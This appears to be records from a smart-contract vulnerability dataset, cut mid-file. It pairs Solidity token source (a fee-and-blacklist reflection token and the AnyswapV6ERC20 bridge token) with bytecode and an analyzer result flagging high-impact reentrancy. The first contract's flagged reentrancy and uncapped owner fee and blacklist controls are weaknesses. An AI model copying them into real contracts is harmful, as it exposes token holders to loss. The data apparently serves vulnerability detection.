uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461051b578063dd62ed3e1461053b578063ea1644d514610581578063f2fde38b146105a157600080fd5b8063a2a957bb14610496578063a9059cbb146104b6578063bfd79284146104d6578063c3c8cd801461050657600080fd5b80638f70ccf7116100d15780638f70ccf7146104125780638f9a55c01461043257806395d89b411461044857806398a5c3151461047657600080fd5b806374010ece146103be5780637d1db4a5146103de5780638da5cb5b146103f457600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103545780636fc3eaec1461037457806370a0823114610389578063715018a6146103a957600080fd5b8063313ce567146102f857806349bd5a5e146103145780636b9990531461033457600080fd5b80631694505e116101a05780631694505e1461026357806318160ddd1461029b57806323b872dd146102c25780632fd689e3146102e257600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023357600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611aeb565b6105c1565b005b3480156101ff57600080fd5b50604080518082019091526005815264043686972760dc1b60208201525b60405161022a9190611c15565b60405180910390f35b34801561023f57600080fd5b5061025361024e366004611a41565b61066e565b604051901515815260200161022a565b34801561026f57600080fd5b50601454610283906001600160a01b031681565b6040516001600160a01b03909116815260200161022a565b3480156102a757600080fd5b5069021e19e0c9bab24000005b60405190815260200161022a565b3480156102ce57600080fd5b506102536102dd366004611a01565b610685565b3480156102ee57600080fd5b506102b460185481565b34801561030457600080fd5b506040516009815260200161022a565b34801561032057600080fd5b50601554610283906001600160a01b031681565b34801561034057600080fd5b506101f161034f366004611991565b6106ee565b34801561036057600080fd5b506101f161036f366004611bb2565b610739565b34801561038057600080fd5b506101f1610781565b34801561039557600080fd5b506102b46103a4366004611991565b6107cc565b3480156103b557600080fd5b506101f16107ee565b3480156103ca57600080fd5b506101f16103d9366004611bcc565b610862565b3480156103ea57600080fd5b506102b460165481565b34801561040057600080fd5b506000546001600160a01b0316610283565b34801561041e57600080fd5b506101f161042d366004611bb2565b610891565b34801561043e57600080fd5b506102b460175481565b34801561045457600080fd5b50604080518082019091526005815264043484952560dc1b602082015261021d565b34801561048257600080fd5b506101f1610491366004611bcc565b6108d9565b3480156104a257600080fd5b506101f16104b1366004611be4565b610908565b3480156104c257600080fd5b506102536104d1366004611a41565b610946565b3480156104e257600080fd5b506102536104f1366004611991565b60106020526000908152604090205460ff1681565b34801561051257600080fd5b506101f1610953565b34801561052757600080fd5b506101f1610536366004611a6c565b6109a7565b34801561054757600080fd5b506102b46105563660046119c9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561058d57600080fd5b506101f161059c366004611bcc565b610a56565b3480156105ad57600080fd5b506101f16105bc366004611991565b610a85565b6000546001600160a01b031633146105f45760405162461bcd60e51b81526004016105eb90611c68565b60405180910390fd5b60005b815181101561066a5760016010600084848151811061062657634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066281611d7b565b9150506105f7565b5050565b600061067b338484610b6f565b5060015b92915050565b6000610692848484610c93565b6106e484336106df85604051806060016040528060288152602001611dd8602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111cf565b610b6f565b5060019392505050565b6000546001600160a01b031633146107185760405162461bcd60e51b81526004016105eb90611c68565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107635760405162461bcd60e51b81526004016105eb90611c68565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b657506013546001600160a01b0316336001600160a01b0316145b6107bf57600080fd5b476107c981611209565b50565b6001600160a01b03811660009081526002602052604081205461067f9061128e565b6000546001600160a01b031633146108185760405162461bcd60e51b81526004016105eb90611c68565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461088c5760405162461bcd60e51b81526004016105eb90611c68565b601655565b6000546001600160a01b031633146108bb5760405162461bcd60e51b81526004016105eb90611c68565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109035760405162461bcd60e51b81526004016105eb90611c68565b601855565b6000546001600160a01b031633146109325760405162461bcd60e51b81526004016105eb90611c68565b600893909355600a91909155600955600b55565b600061067b338484610c93565b6012546001600160a01b0316336001600160a01b0316148061098857506013546001600160a01b0316336001600160a01b0316145b61099157600080fd5b600061099c306107cc565b90506107c981611312565b6000546001600160a01b031633146109d15760405162461bcd60e51b81526004016105eb90611c68565b60005b82811015610a50578160056000868685818110610a0157634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a169190611991565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a4881611d7b565b9150506109d4565b50505050565b6000546001600160a01b03163314610a805760405162461bcd60e51b81526004016105eb90611c68565b601755565b6000546001600160a01b03163314610aaf5760405162461bcd60e51b81526004016105eb90611c68565b6001600160a01b038116610b145760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105eb565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bd15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105eb565b6001600160a01b038216610c325760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105eb565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cf75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105eb565b6001600160a01b038216610d595760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105eb565b60008111610dbb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105eb565b6000546001600160a01b03848116911614801590610de757506000546001600160a01b03838116911614155b156110c857601554600160a01b900460ff16610e80576000546001600160a01b03848116911614610e805760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105eb565b601654811115610ed25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105eb565b6001600160a01b03831660009081526010602052604090205460ff16158015610f1457506001600160a01b03821660009081526010602052604090205460ff16155b610f6c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105eb565b6015546001600160a01b03838116911614610ff15760175481610f8e846107cc565b610f989190611d0d565b10610ff15760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105eb565b6000610ffc306107cc565b6018546016549192508210159082106110155760165491505b80801561102c5750601554600160a81b900460ff16155b801561104657506015546001600160a01b03868116911614155b801561105b5750601554600160b01b900460ff165b801561108057506001600160a01b03851660009081526005602052604090205460ff16155b80156110a557506001600160a01b03841660009081526005602052604090205460ff16155b156110c5576110b382611312565b4780156110c3576110c347611209565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061110a57506001600160a01b03831660009081526005602052604090205460ff165b8061113c57506015546001600160a01b0385811691161480159061113c57506015546001600160a01b03848116911614155b15611149575060006111c3565b6015546001600160a01b03858116911614801561117457506014546001600160a01b03848116911614155b1561118657600854600c55600954600d555b6015546001600160a01b0384811691161480156111b157506014546001600160a01b03858116911614155b156111c357600a54600c55600b54600d555b610a50848484846114b7565b600081848411156111f35760405162461bcd60e51b81526004016105eb9190611c15565b5060006112008486611d64565b95945050505050565b6012546001600160a01b03166108fc6112238360026114e5565b6040518115909202916000818181858888f1935050505015801561124b573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112668360026114e5565b6040518115909202916000818181858888f1935050505015801561066a573d6000803e3d6000fd5b60006006548211156112f55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105eb565b60006112ff611527565b905061130b83826114e5565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061136857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113bc57600080fd5b505afa1580156113d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f491906119ad565b8160018151811061141557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260145461143b9130911684610b6f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611474908590600090869030904290600401611c9d565b600060405180830381600087803b15801561148e57600080fd5b505af11580156114a2573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114c4576114c461154a565b6114cf848484611578565b80610a5057610a50600e54600c55600f54600d55565b600061130b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166f565b600080600061153461169d565b909250905061154382826114e5565b9250505090565b600c5415801561155a5750600d54155b1561156157565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061158a876116e1565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115bc908761173e565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115eb9086611780565b6001600160a01b03891660009081526002602052604090205561160d816117df565b6116178483611829565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161165c91815260200190565b60405180910390a3505050505050505050565b600081836116905760405162461bcd60e51b81526004016105eb9190611c15565b5060006112008486611d25565b600654600090819069021e19e0c9bab24000006116ba82826114e5565b8210156116d85750506006549269021e19e0c9bab240000092509050565b90939092509050565b60008060008060008060008060006116fe8a600c54600d5461184d565b925092509250600061170e611527565b905060008060006117218e8787876118a2565b919e509c509a509598509396509194505050505091939550919395565b600061130b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111cf565b60008061178d8385611d0d565b90508381101561130b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105eb565b60006117e9611527565b905060006117f783836118f2565b306000908152600260205260409020549091506118149082611780565b30600090815260026020526040902055505050565b600654611836908361173e565b6006556007546118469082611780565b6007555050565b6000808080611867606461186189896118f2565b906114e5565b9050600061187a60646118618a896118f2565b905060006118928261188c8b8661173e565b9061173e565b9992985090965090945050505050565b60008080806118b188866118f2565b905060006118bf88876118f2565b905060006118cd88886118f2565b905060006118df8261188c868661173e565b939b939a50919850919650505050505050565b6000826119015750600061067f565b600061190d8385611d45565b90508261191a8583611d25565b1461130b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105eb565b803561197c81611dc2565b919050565b8035801515811461197c57600080fd5b6000602082840312156119a2578081fd5b813561130b81611dc2565b6000602082840312156119be578081fd5b815161130b81611dc2565b600080604083850312156119db578081fd5b82356119e681611dc2565b915060208301356119f681611dc2565b809150509250929050565b600080600060608486031215611a15578081fd5b8335611a2081611dc2565b92506020840135611a3081611dc2565b929592945050506040919091013590565b60008060408385031215611a53578182fd5b8235611a5e81611dc2565b946020939093013593505050565b600080600060408486031215611a80578283fd5b833567ffffffffffffffff80821115611a97578485fd5b818601915086601f830112611aaa578485fd5b813581811115611ab8578586fd5b8760208260051b8501011115611acc578586fd5b602092830195509350611ae29186019050611981565b90509250925092565b60006020808385031215611afd578182fd5b823567ffffffffffffffff80821115611b14578384fd5b818501915085601f830112611b27578384fd5b813581811115611b3957611b39611dac565b8060051b604051601f19603f83011681018181108582111715611b5e57611b5e611dac565b604052828152858101935084860182860187018a1015611b7c578788fd5b8795505b83861015611ba557611b9181611971565b855260019590950194938601938601611b80565b5098975050505050505050565b600060208284031215611bc3578081fd5b61130b82611981565b600060208284031215611bdd578081fd5b5035919050565b60008060008060808587031215611bf9578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c4157858101830151858201604001528201611c25565b81811115611c525783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cec5784516001600160a01b031683529383019391830191600101611cc7565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d2057611d20611d96565b500190565b600082611d4057634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d5f57611d5f611d96565b500290565b600082821015611d7657611d76611d96565b500390565b6000600019821415611d8f57611d8f611d96565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220de6db70a8c8e8b5cac3282afa2ba68a116288263a0776083fa11df3f8136f62964736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 2,430 |
0x5846d81d8e4a3b9cc53ce1dcdc12b6619ae3507d
|
/**
*Submitted for verification at Etherscan.io on 2022-04-15
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.2;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AnyswapV6ERC20 is IERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
address public immutable underlying;
bool public constant underlyingIsMinted = false;
/// @dev Records amount of AnyswapV6ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// delay for timelock functions
uint public constant DELAY = 2 days;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
address public pendingMinter;
uint public delayMinter;
address public pendingVault;
uint public delayVault;
modifier onlyAuth() {
require(isMinter[msg.sender], "AnyswapV6ERC20: FORBIDDEN");
_;
}
modifier onlyVault() {
require(msg.sender == vault, "AnyswapV6ERC20: FORBIDDEN");
_;
}
function owner() external view returns (address) {
return vault;
}
function mpc() external view returns (address) {
return vault;
}
function setVaultOnly(bool enabled) external onlyVault {
_vaultOnly = enabled;
}
function initVault(address _vault) external onlyVault {
require(_init);
_init = false;
vault = _vault;
isMinter[_vault] = true;
minters.push(_vault);
}
function setVault(address _vault) external onlyVault {
require(_vault != address(0), "AnyswapV6ERC20: address(0)");
pendingVault = _vault;
delayVault = block.timestamp + DELAY;
}
function applyVault() external onlyVault {
require(pendingVault != address(0) && block.timestamp >= delayVault);
vault = pendingVault;
pendingVault = address(0);
delayVault = 0;
}
function setMinter(address _auth) external onlyVault {
require(_auth != address(0), "AnyswapV6ERC20: address(0)");
pendingMinter = _auth;
delayMinter = block.timestamp + DELAY;
}
function applyMinter() external onlyVault {
require(pendingMinter != address(0) && block.timestamp >= delayMinter);
isMinter[pendingMinter] = true;
minters.push(pendingMinter);
pendingMinter = address(0);
delayMinter = 0;
}
// No time delay revoke minter emergency function
function revokeMinter(address _auth) external onlyVault {
isMinter[_auth] = false;
}
function getAllMinters() external view returns (address[] memory) {
return minters;
}
function changeVault(address newVault) external onlyVault returns (bool) {
require(newVault != address(0), "AnyswapV6ERC20: address(0)");
emit LogChangeVault(vault, newVault, block.timestamp);
vault = newVault;
pendingVault = address(0);
delayVault = 0;
return true;
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
_mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
_burn(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) external onlyAuth returns (bool) {
if (underlying != address(0) && IERC20(underlying).balanceOf(address(this)) >= amount) {
IERC20(underlying).safeTransfer(account, amount);
} else {
_mint(account, amount);
}
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, string memory bindaddr) external returns (bool) {
require(!_vaultOnly, "AnyswapV6ERC20: vaultOnly");
verifyBindAddr(bindaddr);
if (underlying != address(0) && balanceOf[msg.sender] < amount) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
} else {
_burn(msg.sender, amount);
}
emit LogSwapout(msg.sender, amount, bindaddr);
return true;
}
function verifyBindAddr(string memory bindaddr) pure internal {
require(bytes(bindaddr).length > 0);
}
/// @dev Records number of AnyswapV6ERC20 token that account (second) will be allowed to spend on behalf of another account (first) through {transferFrom}.
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, uint amount, string bindaddr);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) {
name = _name;
symbol = _symbol;
decimals = _decimals;
underlying = _underlying;
if (_underlying != address(0)) {
require(_decimals == IERC20(_underlying).decimals());
}
// Use init to allow for CREATE2 accross all chains
_init = true;
// Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens
_vaultOnly = false;
vault = _vault;
}
/// @dev Returns the total supply of AnyswapV6ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function deposit() external returns (uint) {
uint _amount = IERC20(underlying).balanceOf(msg.sender);
IERC20(underlying).safeTransferFrom(msg.sender, address(this), _amount);
return _deposit(_amount, msg.sender);
}
function deposit(uint amount) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, msg.sender);
}
function deposit(uint amount, address to) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, to);
}
function depositVault(uint amount, address to) external onlyVault returns (uint) {
return _deposit(amount, to);
}
function _deposit(uint amount, address to) internal returns (uint) {
require(!underlyingIsMinted);
require(underlying != address(0) && underlying != address(this));
_mint(to, amount);
return amount;
}
function withdraw() external returns (uint) {
return _withdraw(msg.sender, balanceOf[msg.sender], msg.sender);
}
function withdraw(uint amount) external returns (uint) {
return _withdraw(msg.sender, amount, msg.sender);
}
function withdraw(uint amount, address to) external returns (uint) {
return _withdraw(msg.sender, amount, to);
}
function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) {
return _withdraw(from, amount, to);
}
function _withdraw(address from, uint amount, address to) internal returns (uint) {
require(!underlyingIsMinted);
require(underlying != address(0) && underlying != address(this));
_burn(from, amount);
IERC20(underlying).safeTransfer(to, amount);
return amount;
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
uint256 balance = balanceOf[account];
require(balance >= amount, "ERC20: burn amount exceeds balance");
balanceOf[account] = balance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV6ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Moves `value` AnyswapV6ERC20 token from caller's account to account (`to`).
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV6ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) && to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV6ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// @dev Moves `value` AnyswapV6ERC20 token from account (`from`) to account (`to`) using allowance mechanism.
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// Emits {Approval} event to reflect reduced allowance `value` for caller account to spend from account (`from`),
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV6ERC20 token.
/// - `from` account must have approved caller to spend at least `value` of AnyswapV6ERC20 token, unless `from` and caller are the same account.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) && to != address(this));
if (from != msg.sender) {
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "AnyswapV6ERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "AnyswapV6ERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
}
|
0x608060405234801561001057600080fd5b506004361061025c5760003560e01c80638da5cb5b11610146578063c3081240116100c3578063d93f244511610087578063d93f244514610544578063dd62ed3e1461054c578063ec126c7714610577578063f75c266414610442578063fbfa77cf1461058a578063fca3b5aa1461059d57600080fd5b8063c308124014610505578063c4b740f51461050e578063cfbd488514610521578063d0e30db014610534578063d6c797511461053c57600080fd5b8063a9059cbb1161010a578063a9059cbb14610496578063aa271e1a146104a9578063ad54056d146104cc578063b6b55f25146104df578063bebbf4d0146104f257600080fd5b80638da5cb5b1461044257806391c5df491461045357806395d89b41146104665780639dc29fac1461046e578063a045442c1461048157600080fd5b80633ccfd60b116101df57806369b41170116101a357806369b41170146103c25780636e553f65146103cc5780636f307dc3146103df57806370a08231146104065780638623ec7b1461042657806387689e281461043957600080fd5b80633ccfd60b1461035657806340c10f191461035e57806352113ba71461037157806360e232a91461039c5780636817031b146103af57600080fd5b806318160ddd1161022657806318160ddd146102dc57806323b872dd146102e45780632e1a7d4d146102f75780632ebe3fbb1461030a578063313ce5671461031d57600080fd5b806239d6ec14610261578062f714ce1461028757806306fdde031461029a578063095ea7b3146102af5780630d707df8146102d2575b600080fd5b61027461026f36600461197a565b6105b0565b6040519081526020015b60405180910390f35b6102746102953660046119b6565b6105f9565b6102a261060d565b60405161027e9190611a3a565b6102c26102bd366004611a4d565b61069b565b604051901515815260200161027e565b6102da610707565b005b600354610274565b6102c26102f2366004611a77565b6107d6565b610274610305366004611ab3565b6109d4565b6102da610318366004611acc565b6109e7565b6103447f000000000000000000000000000000000000000000000000000000000000000681565b60405160ff909116815260200161027e565b610274610aa1565b6102c261036c366004611a4d565b610ac2565b600a54610384906001600160a01b031681565b6040516001600160a01b03909116815260200161027e565b6102c26103aa366004611acc565b610b04565b6102da6103bd366004611acc565b610bc9565b6102746202a30081565b6102746103da3660046119b6565b610c47565b6103847f000000000000000000000000000000000000000000000000000000000000000081565b610274610414366004611acc565b60026020526000908152604090205481565b610384610434366004611ab3565b610c88565b610274600b5481565b6007546001600160a01b0316610384565b600854610384906001600160a01b031681565b6102a2610cb2565b6102c261047c366004611a4d565b610cbf565b610489610cf8565b60405161027e9190611ae7565b6102c26104a4366004611a4d565b610d5a565b6102c26104b7366004611acc565b60056020526000908152604090205460ff1681565b6102c26104da366004611b4a565b610e31565b6102746104ed366004611ab3565b610f70565b6102746105003660046119b6565b610fb1565b61027460095481565b6102da61051c366004611c13565b610fde565b6102da61052f366004611acc565b611022565b61027461106d565b6102c2600081565b6102da611141565b61027461055a366004611c30565b600c60209081526000928352604080842090915290825290205481565b6102c2610585366004611c5a565b6111bc565b600754610384906001600160a01b031681565b6102da6105ab366004611acc565b61132f565b6007546000906001600160a01b031633146105e65760405162461bcd60e51b81526004016105dd90611c7f565b60405180910390fd5b6105f18484846113ad565b949350505050565b60006106063384846113ad565b9392505050565b6000805461061a90611cb6565b80601f016020809104026020016040519081016040528092919081815260200182805461064690611cb6565b80156106935780601f1061066857610100808354040283529160200191610693565b820191906000526020600020905b81548152906001019060200180831161067657829003601f168201915b505050505081565b336000818152600c602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106f69086815260200190565b60405180910390a350600192915050565b6007546001600160a01b031633146107315760405162461bcd60e51b81526004016105dd90611c7f565b6008546001600160a01b03161580159061074d57506009544210155b61075657600080fd5b600880546001600160a01b0390811660009081526005602052604081208054600160ff199091168117909155835460068054928301815583527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f9091018054919093166001600160a01b0319918216179092558254909116909155600955565b60006001600160a01b038316158015906107f957506001600160a01b0383163014155b61080257600080fd5b6001600160a01b038416331461090e576001600160a01b0384166000908152600c60209081526040808320338452909152902054600019811461090c57828110156108a15760405162461bcd60e51b815260206004820152602960248201527f416e7973776170563645524332303a2072657175657374206578636565647320604482015268616c6c6f77616e636560b81b60648201526084016105dd565b60006108ad8483611d07565b6001600160a01b0387166000818152600c6020908152604080832033808552908352928190208590555184815293945090927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505b505b6001600160a01b038416600090815260026020526040902054828110156109475760405162461bcd60e51b81526004016105dd90611d1e565b6109518382611d07565b6001600160a01b038087166000908152600260205260408082209390935590861681529081208054859290610987908490611d6d565b92505081905550836001600160a01b0316856001600160a01b0316600080516020611e28833981519152856040516109c191815260200190565b60405180910390a3506001949350505050565b60006109e13383336113ad565b92915050565b6007546001600160a01b03